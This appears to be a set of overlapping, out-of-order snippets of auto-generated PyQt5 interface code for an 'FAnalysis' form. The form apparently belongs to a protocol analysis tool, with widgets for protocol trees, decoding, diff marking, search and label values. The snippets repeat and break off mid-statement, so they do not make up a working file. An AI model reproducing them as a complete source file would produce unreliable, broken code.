"Additionally the relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\",",
"# -*- coding: utf-8 -*- # # # WARNING! All changes made in",
"self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors",
"self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\")",
"self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate",
"in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in",
"= QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\")",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon =",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis",
"self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup)",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment:",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1)",
"self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\")",
"\"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time",
"QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy)",
"\"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line,",
"self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\")",
"self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants",
"self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\")",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues",
"def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current",
"self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span",
"self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns)",
"QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True)",
"self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\")",
"selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here. To",
"11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1,",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3)",
"self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font =",
"self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0,",
"self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\")",
"1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter)",
"ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1)",
"QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame",
"0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth())",
"self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol)",
"QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype)",
"self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection)",
"= QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents)",
"time (+ ...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\",",
"self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0,",
"self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors =",
"QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype)",
"self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show",
"message begins. Additionally the relative time (+ ...) from the previous message is",
"self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea)",
"self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)",
"self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)",
"self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1)",
"1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings",
"self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype =",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\")",
"1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3)",
"9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI",
"self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\"))",
"_translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\"))",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3)",
"= QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon)",
